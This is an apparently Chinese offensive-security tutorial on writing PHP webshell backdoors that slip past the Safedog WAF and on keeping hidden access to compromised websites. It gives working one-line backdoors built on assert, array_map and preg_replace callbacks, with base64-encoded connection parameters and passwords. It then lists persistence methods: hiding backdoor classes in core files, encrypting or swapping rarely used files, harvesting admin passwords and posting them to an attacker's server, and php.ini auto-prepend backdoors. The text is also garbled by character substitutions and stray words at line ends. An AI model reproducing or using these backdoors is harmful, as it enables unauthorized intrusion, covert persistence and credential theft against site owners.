第二章节主要带给你们一些后门构造思路,与安全狗文件特征检测的机制。php
另外强调一下,这篇文章须要你们对于php有必定的认识。安全
本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础;第二部分主要总结一些能够利用的后门姿式,这部分我主要给你们分享一些搜集的后门,但愿能够拓展你们的思路;第三部分主要分享后门隐藏之道。服务器
声明:在后门举例中大部分后门构造与思路,可能网上都有相似的,若有雷同,来打我呀!cookie
目前主流的waf软件(如安全狗)通常对于后门文件有主动查杀与被动查杀,主动好理解,被动主要就在于你访问该文件的时候,对该文件就行查杀,好比连接菜刀的时候。app
由于安全狗对后门的查杀其实就是对代码的一个预编译,去除注释等无用代码,遇到if,直接检查if内部内容。xss
安全狗获取其余各类waf有什么样的特征库,咱们并不能所有知晓,咱们能作的只有一点点尝试,WAF永远在更新,黑阔门永远在换套路,几乎没有一劳永逸的后门。函数
说明:若是想更好的过狗,那么php是必需要会的,为了尽可能照顾到不会php的同窗,本文分享一些猥琐思路弥补一下。post
下面分享的几个一句话都是能够直接过狗的,虽然很简单,但此以前,咱们来遛一遛狗。网站
<?php $_GET[a]($_GET[b]);?>ui
这句话已经能够执行一切命令了,可是必然被杀,
咱们能够用extract函数简单的处理下请求的数据
固然,想要完美过狗,执行更多命令,还须要数据层加工,详情参考第三章。
不少时候并非给变量多一层加密就安全,其实不少waf对base64_decode至关敏感。
例如:
@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析:xx参数直接传入一个assert函数,sofia参数传入assert(eval('执行代码'))。
直接暴出array_map后门,试试去掉base64?
没错,就这么简单,最危险的地方就是最安全的地方,起码文件特征安全狗确实没有检测出来。
然而这个一句话D盾是四级的,由于稍微懂点的人都能看出来是个后门。
可是距离实际意义上的过狗仍是远远不够的,还须要数据层加工,详情参考第三章。以后你会发现,就这个一句话修改下post数据,能够完整过狗。
不卖关子:
@array_map(assert,(array)base64_decode($_REQUEST['sofia']));
链接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码 :vuln
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']); $arr = array($Base($_POST['sofia']) => '|.*|e',); @array_walk($arr, $_clasc, ''); ?> 这是我以前修改过的一个版本,这里用的其实仍是preg_replace后门,也是经过回调函数来实现执行,一样能够过:
详解: 带入参数:
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
<? $Base = "base6"."4"."_decod"."e"; $_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace $arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e') @array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'') ?>
网上有不少现成的回调函数或者其余方式来过特征检测,再这里就不重复造轮子了。
权限维持也是渗透中重要的环节,隐藏的不到位次日就掉权限,猥琐的后门能一生跟随。
方法一:远程读取或者include文件
这个方法比较常见,如:
<?php
if($_POST['token'] == 'sofia'){
require 'home/wwwlogs/access.log';
}
可是就我的而言,我一眼看上就以为有鬼,哪一个正常程序会鬼畜到包含一个日志文件或者图片,固然也要根据场景来定。
方法二:
将代码放到核心函数文件中,作好文件时间修改,只要查杀不出来,通常站长也不会去动核心文件,也是具备必定隐蔽性的,
方法二:建立类或者函数,分离后门代码
这样的话基本上很难查杀了,好比再global_function.php类的文件中建立一个类,或者函数,在所调用这个核心函数的相关文件中实例化一个类,调用函数,那么也是妥妥执行的。
如:把class放到核心类文件中,在相关的调用文件中放入执行代码,隐蔽性会增强不少。
<?php
class Parse_Args {
public function apply_filters($key) {
assert($key);
}
}
//执行代码
@extract($_REQUEST);
$reflectionMethod = new Parse_Args();
$reflectionMethod -> apply_filters($s0fia);
?>
方法四:直接加密代码
直接将后门文件加密,
其实这就只是eval($_POST[x])加密后的结果,还须要构造什么?可是在渗透过程当中可用性并非很高,不少时候要写入后门代码,这根本无法写的,只能做为一种维持手段。
方法五:建立手工后门
php不只能够获取get,post数据仍是能够获取server数据的,如user-agent,referrer,cookie,client ip,因此咱们彻底能够在这些参数中加入须要执行的代码,但须要注意的是有的参很多天志中会记录,这里仅提供思路,你们根据实际状况取发挥。
方法五:间接维持后台权限,
能够直接在后台登录页所include的核心函数中加入获取用户名密码的代码,如直接生成到本地服务器的一个txt中(能够加密下),记住这个隐蔽的url,时不时就会有密码记录,或者远程post密码到本身的服务器上。
能够在后台页面中插入一个xss,这种效率相对较低,可是也是一种思路。
方法六:来硬的
这种方法只能针对中小站长,找到一个网站的核心可是又不经常使用的文件,好比lang文件等等,将本身后门加入,而后将整个文件加密,再替换源文件,功能一切正常,站长对这类文件不会起太大疑心。
这个思路也能够结合方法三。
方法七:php.ini后门
修改php.ini配置来达到每一个页面都执行某个后门,每一个php都是后门,好比能够配置auto_prepend_file,自动加载某个文件,这部分后期抽时间再单独写出来。